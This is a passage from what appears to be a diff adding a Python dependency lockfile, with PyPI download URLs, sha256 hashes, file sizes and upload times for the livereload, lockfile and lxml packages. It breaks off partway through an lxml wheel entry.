"sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c", size = 872914, upload-time = "2024-01-06T19:02:47.61Z" }, +] + +[[package]] +name = "livereload" +version = "2.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "tornado" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/6e/f2748665839812a9bbe5c75d3f983edbf3ab05fa5cd2f7c2f36fffdf65bd/livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9", size = 22255, upload-time = "2024-12-18T13:42:01.461Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/3e/de54dc7f199e85e6ca37e2e5dae2ec3bce2151e9e28f8eb9076d71e83d56/livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564", size = 22657, upload-time = "2024-12-18T13:41:56.35Z" }, +] + +[[package]] +name = "lockfile" +version = "0.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/17/47/72cb04a58a35ec495f96984dddb48232b551aafb95bde614605b754fe6f7/lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799", size = 20874, upload-time = "2015-11-25T18:29:58.279Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c8/22/9460e311f340cb62d26a38c419b1381b8593b0bb6b5d1f056938b086d362/lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa", size = 13564, upload-time = "2015-11-25T18:29:51.462Z" }, +] + +[[package]] +name = "lxml" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/88/262177de60548e5a2bfc46ad28232c9e9cbde697bd94132aeb80364675cb/lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62", size = 4073426, upload-time = "2025-09-22T04:04:59.287Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/8a/f8192a08237ef2fb1b19733f709db88a4c43bc8ab8357f01cb41a27e7f6a/lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388", size = 8590589, upload-time = "2025-09-22T04:00:10.51Z" }, + { url = "https://files.pythonhosted.org/packages/12/64/27bcd07ae17ff5e5536e8d88f4c7d581b48963817a13de11f3ac3329bfa2/lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153", size = 4629671, upload-time = "2025-09-22T04:00:15.411Z" }, + { url = "https://files.pythonhosted.org/packages/02/5a/a7d53b3291c324e0b6e48f3c797be63836cc52156ddf8f33cd72aac78866/lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31", size = 4999961, upload-time = "2025-09-22T04:00:17.619Z" }, + { url = "https://files.pythonhosted.org/packages/f5/55/d465e9b89df1761674d8672bb3e4ae2c47033b01ec243964b6e334c6743f/lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9", size = 5157087, upload-time = "2025-09-22T04:00:19.868Z" }, + { url = "https://files.pythonhosted.org/packages/62/38/3073cd7e3e8dfc3ba3c3a139e33bee3a82de2bfb0925714351ad3d255c13/lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8", size = 5067620, upload-time = "2025-09-22T04:00:21.877Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d3/1e001588c5e2205637b08985597827d3827dbaaece16348c8822bfe61c29/lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba", size = 5406664, upload-time = "2025-09-22T04:00:23.714Z" }, + { url = "https://files.pythonhosted.org/packages/20/cf/cab09478699b003857ed6ebfe95e9fb9fa3d3c25f1353b905c9b73cfb624/lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c", size = 5289397, upload-time = "2025-09-22T04:00:25.544Z" }, + { url = "https://files.pythonhosted.org/packages/a3/84/02a2d0c38ac9a8b9f9e5e1bbd3f24b3f426044ad618b552e9549ee91bd63/lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c", size = 4772178, upload-time = "2025-09-22T04:00:27.602Z" }, + { url = "https://files.pythonhosted.org/packages/56/87/e1ceadcc031ec4aa605fe95476892d0b0ba3b7f8c7dcdf88fdeff59a9c86/lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321", size = 5358148, upload-time = "2025-09-22T04:00:29.323Z" }, + { url = "https://files.pythonhosted.org/packages/fe/13/5bb6cf42bb228353fd4ac5f162c6a84fd68a4d6f67c1031c8cf97e131fc6/lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1", size = 5112035, upload-time = "2025-09-22T04:00:31.061Z" }, + { url = "https://files.pythonhosted.org/packages/e4/e2/ea0498552102e59834e297c5c6dff8d8ded3db72ed5e8aad77871476f073/lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34", size = 4799111, upload-time = "2025-09-22T04:00:33.11Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9e/8de42b52a73abb8af86c66c969b3b4c2a96567b6ac74637c037d2e3baa60/lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a", size = 5351662, upload-time = "2025-09-22T04:00:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/28/a2/de776a573dfb15114509a37351937c367530865edb10a90189d0b4b9b70a/lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c", size = 5314973, upload-time = "2025-09-22T04:00:37.086Z" }, + { url = "https://files.pythonhosted.org/packages/50/a0/3ae1b1f8964c271b5eec91db2043cf8c6c0bce101ebb2a633b51b044db6c/lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b", size = 3611953, upload-time = "2025-09-22T04:00:39.224Z" }, + { url = "https://files.pythonhosted.org/packages/d1/70/bd42491f0634aad41bdfc1e46f5cff98825fb6185688dc82baa35d509f1a/lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0", size = 4032695, upload-time = "2025-09-22T04:00:41.402Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d0/05c6a72299f54c2c561a6c6cbb2f512e047fca20ea97a05e57931f194ac4/lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5", size = 3680051, upload-time = "2025-09-22T04:00:43.525Z" }, + { url = "https://files.pythonhosted.org/packages/77/d5/becbe1e2569b474a23f0c672ead8a29ac50b2dc1d5b9de184831bda8d14c/lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607", size = 8634365, upload-time = "2025-09-22T04:00:45.672Z" }, + { url = "https://files.pythonhosted.org/packages/28/66/1ced58f12e804644426b85d0bb8a4478ca77bc1761455da310505f1a3526/lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938", size = 4650793, upload-time = "2025-09-22T04:00:47.783Z" }, + { url = "https://files.pythonhosted.org/packages/11/84/549098ffea39dfd167e3f174b4ce983d0eed61f9d8d25b7bf2a57c3247fc/lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d", size = 4944362, upload-time = "2025-09-22T04:00:49.845Z" }, + { url = "https://files.pythonhosted.org/packages/ac/bd/f207f16abf9749d2037453d56b643a7471d8fde855a231a12d1e095c4f01/lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438", size = 5083152, upload-time = "2025-09-22T04:00:51.709Z" }, + { url = "https://files.pythonhosted.org/packages/15/ae/bd813e87d8941d52ad5b65071b1affb48da01c4ed3c9c99e40abb266fbff/lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964", size = 5023539, upload-time = "2025-09-22T04:00:53.593Z" }, + { url = "https://files.pythonhosted.org/packages/02/cd/9bfef16bd1d874fbe0cb51afb00329540f30a3283beb9f0780adbb7eec03/lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d", size = 5344853, upload-time = "2025-09-22T04:00:55.524Z" }, + { url = "https://files.pythonhosted.org/packages/b8/89/ea8f91594bc5dbb879734d35a6f2b0ad50605d7fb419de2b63d4211765cc/lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7", size = 5225133, upload-time = "2025-09-22T04:00:57.269Z" }, + { url = "https://files.pythonhosted.org/packages/b9/37/9c735274f5dbec726b2db99b98a43950395ba3d4a1043083dba2ad814170/lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178", size = 4677944, upload-time = "2025-09-22T04:00:59.052Z" }, + { url = "https://files.pythonhosted.org/packages/20/28/7dfe1ba3475d8bfca3878365075abe002e05d40dfaaeb7ec01b4c587d533/lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553", size = 5284535, upload-time = "2025-09-22T04:01:01.335Z" }, + { url = "https://files.pythonhosted.org/packages/e7/cf/5f14bc0de763498fc29510e3532bf2b4b3a1c1d5d0dff2e900c16ba021ef/lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb", size = 5067343, upload-time = "2025-09-22T04:01:03.13Z" }, + { url = "https://files.pythonhosted.org/packages/1c/b0/bb8275ab5472f32b28cfbbcc6db7c9d092482d3439ca279d8d6fa02f7025/lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a", size = 4725419, upload-time = "2025-09-22T04:01:05.013Z" }, + { url = "https://files.pythonhosted.org/packages/25/4c/7c222753bc72edca3b99dbadba1b064209bc8ed4ad448af990e60dcce462/lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c", size = 5275008, upload-time = "2025-09-22T04:01:07.327Z" }, + { url = "https://files.pythonhosted.org/packages/6c/8c/478a0dc6b6ed661451379447cdbec77c05741a75736d97e5b2b729687828/lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7", size = 5248906, upload-time = "2025-09-22T04:01:09.452Z" }, + { url = "https://files.pythonhosted.org/packages/2d/d9/5be3a6ab2784cdf9accb0703b65e1b64fcdd9311c9f007630c7db0cfcce1/lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46", size = 3610357, upload-time = "2025-09-22T04:01:11.102Z" }, + { url = "https://files.pythonhosted.org/packages/e2/7d/ca6fb13349b473d5732fb0ee3eec8f6c80fc0688e76b7d79c1008481bf1f/lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078", size = 4036583, upload-time = "2025-09-22T04:01:12.766Z" }, + { url = "https://files.pythonhosted.org/packages/ab/a2/51363b5ecd3eab46563645f3a2c3836a2fc67d01a1b87c5017040f39f567/lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285", size = 3680591, upload-time = "2025-09-22T04:01:14.874Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c8/8ff2bc6b920c84355146cd1ab7d181bc543b89241cfb1ebee824a7c81457/lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456", size = 8661887, upload-time = "2025-09-22T04:01:17.265Z" }, + { url = "https://files.pythonhosted.org/packages/37/6f/9aae1008083bb501ef63284220ce81638332f9ccbfa53765b2b7502203cf/lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924", size = 4667818, upload-time = "2025-09-22T04:01:19.688Z" }, + { url = "https://files.pythonhosted.org/packages/f1/ca/31fb37f99f37f1536c133476674c10b577e409c0a624384147653e38baf2/lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f", size = 4950807, upload-time = "2025-09-22T04:01:21.487Z" }, + { url = "https://files.pythonhosted.org/packages/da/87/f6cb9442e4bada8aab5ae7e1046264f62fdbeaa6e3f6211b93f4c0dd97f1/lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534", size = 5109179, upload-time = "2025-09-22T04:01:23.32Z" }, + { url = "https://files.pythonhosted.org/packages/c8/20/a7760713e65888db79bbae4f6146a6ae5c04e4a204a3c48896c408cd6ed2/lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564", size = 5023044, upload-time = "2025-09-22T04:01:25.118Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b0/7e64e0460fcb36471899f75831509098f3fd7cd02a3833ac517433cb4f8f/lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f", size = 5359685, upload-time = "2025-09-22T04:01:27.398Z" }, + { url = "https://files.pythonhosted.org/packages/b9/e1/e5df362e9ca4e2f48ed6411bd4b3a0ae737cc842e96877f5bf9428055ab4/lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0", size = 5654127, upload-time = "2025-09-22T04:01:29.629Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d1/232b3309a02d60f11e71857778bfcd4acbdb86c07db8260caf7d008b08f8/lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192", size = 5253958, upload-time = "2025-09-22T04:01:31.535Z" }, + { url = "https://files.pythonhosted.org/packages/35/35/d955a070994725c4f7d80583a96cab9c107c57a125b20bb5f708fe941011/lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0", size = 4711541, upload-time = "2025-09-22T04:01:33.801Z" }, + { url = "https://files.pythonhosted.org/packages/1e/be/667d17363b38a78c4bd63cfd4b4632029fd68d2c2dc81f25ce9eb5224dd5/lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092", size = 5267426, upload-time = "2025-09-22T04:01:35.639Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/62c70aa4a1c26569bc958c9ca86af2bb4e1f614e8c04fb2989833874f7ae/lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f", size = 5064917, upload-time = "2025-09-22T04:01:37.448Z" }, + { url = "https://files.pythonhosted.org/packages/bd/55/6ceddaca353ebd0f1908ef712c597f8570cc9c58130dbb89903198e441fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8", size = 4788795, upload-time = "2025-09-22T04:01:39.165Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e8/fd63e15da5e3fd4c2146f8bbb3c14e94ab850589beab88e547b2dbce22e1/lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f", size = 5676759, upload-time = "2025-09-22T04:01:41.506Z" }, + { url = "https://files.pythonhosted.org/packages/76/47/b3ec58dc5c374697f5ba37412cd2728f427d056315d124dd4b61da381877/lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6", size = 5255666, upload-time = "2025-09-22T04:01:43.363Z" }, + { url = "https://files.pythonhosted.org/packages/19/93/03ba725df4c3d72afd9596eef4a37a837ce8e4806010569bedfcd2cb68fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322", size = 5277989, upload-time = "2025-09-22T04:01:45.215Z" }, + { url = "https://files.pythonhosted.org/packages/c6/80/c06de80bfce881d0ad738576f243911fccf992687ae09fd80b734712b39c/lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849", size = 3611456, upload-time = "2025-09-22T04:01:48.243Z" }, + { url = "https://files.pythonhosted.org/packages/f7/d7/0cdfb6c3e30893463fb3d1e52bc5f5f99684a03c29a0b6b605cfae879cd5/lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f", size = 4011793, upload-time = "2025-09-22T04:01:50.042Z" }, + { url = "https://files.pythonhosted.org/packages/ea/7b/93c73c67db235931527301ed3785f849c78991e2e34f3fd9a6663ffda4c5/lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6", size = 3672836, upload-time = "2025-09-22T04:01:52.145Z" }, + { url = "https://files.pythonhosted.org/packages/53/fd/4e8f0540608977aea078bf6d79f128e0e2c2bba8af1acf775c30baa70460/lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77", size = 8648494, upload-time = "2025-09-22T04:01:54.242Z" }, + { url = "https://files.pythonhosted.org/packages/5d/f4/2a94a3d3dfd6c6b433501b8d470a1960a20ecce93245cf2db1706adf6c19/lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f", size = 4661146, upload-time = "2025-09-22T04:01:56.282Z" }, + { url = "https://files.pythonhosted.org/packages/25/2e/4efa677fa6b322013035d38016f6ae859d06cac67437ca7dc708a6af7028/lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452", size = 4946932, upload-time = "2025-09-22T04:01:58.989Z" }, + { url = "https://files.pythonhosted.org/packages/ce/0f/526e78a6d38d109fdbaa5049c62e1d32fdd70c75fb61c4eadf3045d3d124/lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048", size = 5100060, upload-time = "2025-09-22T04:02:00.812Z" }, + { url = "https://files.pythonhosted.org/packages/81/76/99de58d81fa702cc0ea7edae4f4640416c2062813a00ff24bd70ac1d9c9b/lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df", size = 5019000, upload-time = "2025-09-22T04:02:02.671Z" }, + { url = "https://files.pythonhosted.org/packages/b5/35/9e57d25482bc9a9882cb0037fdb9cc18f4b79d85df94fa9d2a89562f1d25/lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1", size = 5348496, upload-time = "2025-09-22T04:02:04.904Z" }, + { url = "https://files.pythonhosted.org/packages/a6/8e/cb99bd0b83ccc3e8f0f528e9aa1f7a9965dfec08c617070c5db8d63a87ce/lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916", size = 5643779, upload-time = "2025-09-22T04:02:06.689Z" }, + { url = "https://files.pythonhosted.org/packages/d0/34/9e591954939276bb679b73773836c6684c22e56d05980e31d52a9a8deb18/lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd", size = 5244072, upload-time = "2025-09-22T04:02:08.587Z" }, + { url = "https://files.pythonhosted.org/packages/8d/27/b29ff065f9aaca443ee377aff699714fcbffb371b4fce5ac4ca759e436d5/lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6", size = 4718675, upload-time = "2025-09-22T04:02:10.783Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f756f9c2cd27caa1a6ef8c32ae47aadea697f5c2c6d07b0dae133c244fbe/lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a", size = 5255171, upload-time = "2025-09-22T04:02:12.631Z" }, + { url = "https://files.pythonhosted.org/packages/61/46/bb85ea42d2cb1bd8395484fd72f38e3389611aa496ac7772da9205bbda0e/lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679", size = 5057175, upload-time = "2025-09-22T04:02:14.718Z" }, + { url = "https://files.pythonhosted.org/packages/95/0c/443fc476dcc8e41577f0af70458c50fe299a97bb6b7505bb1ae09aa7f9ac/lxml-6.0.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:2cbcbf6d6e924c28f04a43f3b6f6e272312a090f269eff68a2982e13e5d57659", size = 4785688, upload-time = "2025-09-22T04:02:16.957Z" }, + { url = "https://files.pythonhosted.org/packages/48/78/6ef0b359d45bb9697bc5a626e1992fa5d27aa3f8004b137b2314793b50a0/lxml-6.0.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:dfb874cfa53340009af6bdd7e54ebc0d21012a60a4e65d927c2e477112e63484", size = 5660655, upload-time = "2025-09-22T04:02:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/ff/ea/e1d33808f386bc1339d08c0dcada6e4712d4ed8e93fcad5f057070b7988a/lxml-6.0.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:fb8dae0b6b8b7f9e96c26fdd8121522ce5de9bb5538010870bd538683d30e9a2", size = 5247695, upload-time = "2025-09-22T04:02:20.593Z" }, + { url = "https://files.pythonhosted.org/packages/4f/47/eba75dfd8183673725255247a603b4ad606f4ae657b60c6c145b381697da/lxml-6.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:358d9adae670b63e95bc59747c72f4dc97c9ec58881d4627fe0120da0f90d314", size = 5269841, upload-time = "2025-09-22T04:02:22.489Z" }, + { url = "https://files.pythonhosted.org/packages/76/04/5c5e2b8577bc936e219becb2e98cdb1aca14a4921a12995b9d0c523502ae/lxml-6.0.2-cp313-cp313-win32.whl", hash = "sha256:e8cd2415f372e7e5a789d743d133ae474290a90b9023197fd78f32e2dc6873e2", size = 3610700, upload-time = "2025-09-22T04:02:24.465Z" }, + { url = "https://files.pythonhosted.org/packages/fe/0a/4643ccc6bb8b143e9f9640aa54e38255f9d3b45feb2cbe7ae2ca47e8782e/lxml-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:b30d46379644fbfc3ab81f8f82ae4de55179414651f110a1514f0b1f8f6cb2d7", size = 4010347, upload-time = "2025-09-22T04:02:26.286Z" }, + { url = "https://files.pythonhosted.org/packages/31/ef/dcf1d29c3f530577f61e5fe2f1bd72929acf779953668a8a47a479ae6f26/lxml-6.0.2-cp313-cp313-win_arm64.whl", hash = "sha256:13dcecc9946dca97b11b7c40d29fba63b55ab4170d3c0cf8c0c164343b9bfdcf", size = 3671248, upload-time = "2025-09-22T04:02:27.918Z" }, + { url = "https://files.pythonhosted.org/packages/03/15/d4a377b385ab693ce97b472fe0c77c2b16ec79590e688b3ccc71fba19884/lxml-6.0.2-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:b0c732aa23de8f8aec23f4b580d1e52905ef468afb4abeafd3fec77042abb6fe", size = 8659801, upload-time = "2025-09-22T04:02:30.113Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e8/c128e37589463668794d503afaeb003987373c5f94d667124ffd8078bbd9/lxml-6.0.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4468e3b83e10e0317a89a33d28f7aeba1caa4d1a6fd457d115dd4ffe90c5931d", size = 4659403, upload-time = "2025-09-22T04:02:32.119Z" }, + { url = "https://files.pythonhosted.org/packages/00/ce/74903904339decdf7da7847bb5741fc98a5451b42fc419a86c0c13d26fe2/lxml-6.0.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:abd44571493973bad4598a3be7e1d807ed45aa2adaf7ab92ab7c62609569b17d", size = 4966974, upload-time = "2025-09-22T04:02:34.155Z" }, + { url = "https://files.pythonhosted.org/packages/1f/d3/131dec79ce61c5567fecf82515bd9bc36395df42501b50f7f7f3bd065df0/lxml-6.0.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:370cd78d5855cfbffd57c422851f7d3864e6ae72d0da615fca4dad8c45d375a5", size = 5102953, upload-time = "2025-09-22T04:02:36.054Z" }, + { url = "https://files.pythonhosted.org/packages/3a/ea/a43ba9bb750d4ffdd885f2cd333572f5bb900cd2408b67fdda07e85978a0/lxml-6.0.2-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:901e3b4219fa04ef766885fb40fa516a71662a4c61b80c94d25336b4934b71c0", size = 5055054, upload-time = "2025-09-22T04:02:38.154Z" }, + { url = 